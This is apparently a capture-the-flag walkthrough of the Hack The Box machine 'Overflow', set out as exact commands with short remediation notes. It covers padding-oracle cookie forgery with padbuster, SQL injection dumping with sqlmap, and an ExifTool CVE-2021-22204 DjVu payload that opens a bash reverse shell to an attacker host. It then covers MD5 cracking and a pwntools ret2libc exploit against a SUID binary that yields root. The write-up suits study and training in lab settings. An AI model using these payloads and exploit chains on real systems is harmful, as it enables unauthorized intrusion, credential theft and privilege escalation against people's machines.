Overflow
Summary
I reached the overflow.htb web application and discovered its session cookie was encrypted with AES-CBC: an encryption mode whose server-side padding error messages could be exploited to both decrypt the existing cookie and forge a replacement granting administrator access without credentials. Once inside the admin panel, a SQL injection vulnerability on the logs endpoint allowed me to dump the CMS user table, retrieving MD5-hashed passwords. Separately, the site's image-upload feature passed files directly to an unpatched ExifTool (CVE-2021-22204), which evaluated embedded DjVu metadata as Perl code; a crafted upload produced a reverse shell as the web user www-data.
Cracking the weak MD5 hashes and exploiting password reuse across local UNIX accounts enabled lateral movement through two additional user accounts, yielding user.txt. Finally, a custom SETUID-root binary accessible to the compromised user contained a stack buffer overflow with no canary or PIE protection; a ret2libc exploit chain overwrote the return address, spawned a root shell, and delivered complete system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets (<auth_cookie_value>, <first_user>, <forged_admin_cookie>, <gadget>, <offset>, <second_user>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Service scan; adjust IP to your assigned HTB address.
$ nmap -sV -sC -p 22,25,80 -oN overflow_nmap.txt $TARGETRegister the virtual host for name resolution.
$ echo "$TARGET overflow.htb" | sudo tee -a /etc/hostsObserve the auth cookie value and format returned on login attempt.
$ curl -si -X POST http://overflow.htb/login.php -d "username=$PASSWORD&password=$PASSWORD" | grep -i 'set-cookie\|location'Exact commands 3
Decrypt the existing auth cookie; replace <auth_cookie_value> with the base64 string from your browser.
$ padbuster http://overflow.htb/login.php <auth_cookie_value> 8 -cookie 'auth=<auth_cookie_value>' -encoding 0Re-encrypt 'user=admin' to produce the forged admin cookie; copy the output ciphertext.
$ padbuster http://overflow.htb/login.php <auth_cookie_value> 8 -cookie 'auth=<auth_cookie_value>' -encoding 0 -plaintext 'user=admin'Verify admin access; expect HTTP 200 and admin panel content rather than a redirect.
$ curl -si http://overflow.htb/home/ -H 'Cookie: auth=<forged_admin_cookie>'FixReplace CBC-mode cookie encryption with authenticated encryption or server-side sessionsCritical
Exact commands 2
Enumerate available databases using the admin session cookie.
$ sqlmap -u 'http://overflow.htb/home/logs.php?name=admin' --cookie 'auth=<forged_admin_cookie>' --dbs --batchDump the cms_users table; adjust database name (-D) to match the enumerated result.
$ sqlmap -u 'http://overflow.htb/home/logs.php?name=admin' --cookie 'auth=<forged_admin_cookie>' -D cmsdb -T cms_users --dump --batchFixParameterize all database queries to eliminate SQL injectionCritical
Exact commands 4
Start the reverse-shell listener before uploading (run in a separate terminal); replace 4444 with your preferred port.
$ nc -lvnp 4444Write the Perl eval payload; replace $ATTACKER_IP with your HTB tun0 IP.
$ printf '(system("bash -c '\'"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"\'""))' > payload.txtEmbed the payload in a DjVu annotation block (djvulibre-bin package on Kali).
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.txtUpload the malicious DjVu; ExifTool processes it and fires the shell.
$ curl -sb 'auth=<forged_admin_cookie>' -F 'file=@exploit.djvu' http://overflow.htb/home/upload.phpFixUpgrade ExifTool and sandbox all server-side file metadata processingCritical
Exact commands 4
Crack MD5 hashes (-m 0); place the dumped hash values one-per-line in cms_hashes.txt.
$ hashcat -m 0 cms_hashes.txt /usr/share/wordlists/rockyou.txt --showLog in with the cracked password for the first recovered CMS username.
$ ssh <first_user>@overflow.htbTry the same or recovered password for the next local account to complete lateral movement.
$ su - <second_user>Read the user flag. Value: <user.txt>
$ cat ~/user.txtFixReplace MD5 password storage with a memory-hard hash and prohibit cross-service password reuseHigh
Exact commands 5
Locate SETUID binaries reachable from the current user.
$ find / -perm -4000 -type f 2>/dev/nullConfirm absent canary and PIE; note the binary's architecture for ROP gadget selection.
$ checksec --file=/path/to/setuid_binaryOpen in GDB+GEF; run 'pattern create 200', feed the pattern to the binary's input, then 'pattern offset $rsp' to find the exact return-address offset.
$ gdb -q /path/to/setuid_binarySkeleton exploit; fill in the ROP gadget address (<gadget>), offset (<offset>), and libc base if ASLR is enabled. Save as exploit.py and run it.
$ python3 -c "from pwn import *; e=ELF('/path/to/setuid_binary'); libc=ELF('/lib/x86_64-linux-gnu/libc.so.6'); r=process('/path/to/setuid_binary'); pop_rdi=0x<gadget>; binsh=next(libc.search(b'/bin/sh')); payload=b'A'*<offset>+p64(pop_rdi)+p64(binsh)+p64(libc.sym['system']); r.sendline(payload); r.interactive()"Read the root flag from the root shell. Value: <root.txt>
$ cat /root/root.txtFixRemove the SETUID bit from custom binaries and compile with full exploit mitigationsCritical
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 25/tcp | smtp Postfix smtpd |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |